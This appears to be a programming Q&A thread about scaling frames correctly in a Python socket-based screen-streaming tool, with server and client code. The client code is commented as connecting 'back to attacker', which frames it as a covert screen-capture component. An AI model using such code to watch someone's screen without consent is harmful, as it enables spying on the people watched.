Reputation: 75
Problem
Basically I have this code to streaming the desktop screen. The problem is that when I will try to resize the screen of server (server will receive the images) the image stay cutted/distorted
What is supposed to be (simulation):
Question
Which alteration is need to resize correctly the window of image streaming?
Thanks in advance.
Server
import socket
from zlib import decompress
import pygame
#1900 1000
WIDTH = 600
HEIGHT = 600
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.15.2', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
#x = sock.recv(1024).decode()
#print(x)
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#.frombuffer(msg,(320,240),"RGBX"))
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
Client
import socket
from threading import Thread
from zlib import compress
from mss import mss
import pygame
import sys
from PyQt5 import QtWidgets
app = QtWidgets.QApplication(sys.argv)
screen = app.primaryScreen()
size = screen.size()
WIDTH = size.width()
HEIGHT = size.height()
print(WIDTH, HEIGHT)
WIDTH = 600
HEIGHT = 600
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
print(img)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 0)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
try:
conn.send(bytes([size_len]))
except:
break
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='192.168.15.2', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
#sock.send(str('123213213').encode('utf-8'))
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
if __name__ == '__main__':
main()
Upvotes: 0
Views: 330
Reputation: 6857
Your code in your most recent pastebin was nearly correct, but like I said, you have to store server and client resolution separately:
import socket
from zlib import decompress
import pygame
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.15.2', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
client_resolution = (conn.recv(50).decode())
client_resolution = str(client_resolution).split(',')
CLIENT_WIDTH = int(client_resolution[0])
CLIENT_HEIGHT = int(client_resolution[1])
#store the server's resolution separately
SERVER_WIDTH = 1000
SERVER_HEIGHT = 600
pygame.init()
screen = pygame.display.set_mode((SERVER_WIDTH, SERVER_HEIGHT))
clock = pygame.time.Clock()
watching = True
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (CLIENT_WIDTH, CLIENT_HEIGHT), 'RGB')
#resize the client image to match the server's screen dimensions
scaled_img = pygame.transform.scale(img, (SERVER_WIDTH, SERVER_HEIGHT))
# Display the picture
screen.blit(scaled_img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
Note that you can, at any point, change the server's resolution, totally independently of what the client's resolution is. Meaning you could make the window resizable even, if you wanted.
Upvotes: 1